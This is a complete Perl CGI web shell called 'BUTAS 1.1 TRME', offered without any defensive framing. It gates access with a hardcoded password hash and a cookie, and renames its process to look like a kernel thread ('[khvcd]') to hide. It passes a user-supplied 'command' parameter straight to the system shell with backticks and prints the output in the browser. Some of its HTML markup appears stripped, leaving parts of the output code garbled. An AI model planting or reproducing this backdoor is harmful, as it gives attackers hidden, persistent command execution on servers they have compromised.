#!/usr/bin/perl use strict; use CGI::Carp qw(warningsToBrowser fatalsToBrowser); use CGI qw(:standard escapeHTML); my $vers = "BUTAS 1.1 TRME"; my $pwd = "BvR/DtaeLh5zw"; my $salt = substr($pwd, 0, 2); my $ipwd = param("pwd"); my $epwd = crypt($ipwd, $salt); my $npwd = crypt("", $salt); my $cid2 = cookie("cid"); my $cid; my $msg = " "; my $command; my $takbo; my $lihim; my $result; $0="[khvcd]"; sub URLEncode { my $theURL = $_[0]; $theURL =~ s/([\W])/"%" . uc(sprintf("%2.2x",ord($1)))/eg; return $theURL; } if ($pwd eq $epwd) { $cid = cookie(-name=>"cid", -value=>"1"); $cid2 = "1"; } if ($epwd ne $npwd) { $msg = "

Mukha Mo!


"; } if (!($cid)) { $cid = cookie( -name=>"cid", -value=>"0" ); } $cid = cookie(-name=>"cid", -value=>$cid2); print header( -COOKIE=>$cid ), start_html($vers); if ($cid2 ne "1") { print $msg; print start_form(); print "The magic word is "; print textfield( -name=>"pwd", -size=>"100"); print submit(-name=> 'submit_form', -value => 'Submit',); print end_form; print end_html; exit(0); } print start_form(); if (param()){ $command = param("command"); $takbo = param("takbo"); $lihim = param("lihim"); } print "

$vers


\n"; print "
\nInput\n\n"; print "EXEC: "; print textfield( -name=>"takbo", -size=>"20", -value=>$takbo,); print "\n"; print "PASS: "; print textfield( -name=>"lihim", -size=>"20", -value=>$lihim,); print "\n
\n"; print "Your Command "; print textfield( -name=>"command", -size=>"100", -value=>""); print "\n"; print submit(-name=> 'submit_form', -value => 'Submit Command',); print "\n\n
\n"; if (param()){ my $order; $command = param("command"); $takbo = param("takbo"); $lihim = param("lihim"); if (($takbo ne "") && ($lihim ne "")) { $order = $takbo ." " . $lihim . " " . URLEncode($command); } else { $order = $command; } $result = `$order`; my $outtxt = "$result\n"; print "\n\n
\n\tOutput\n\t"; print '\n
\n"; } print "\n"; print end_form; print "\n\n\n"; print end_html;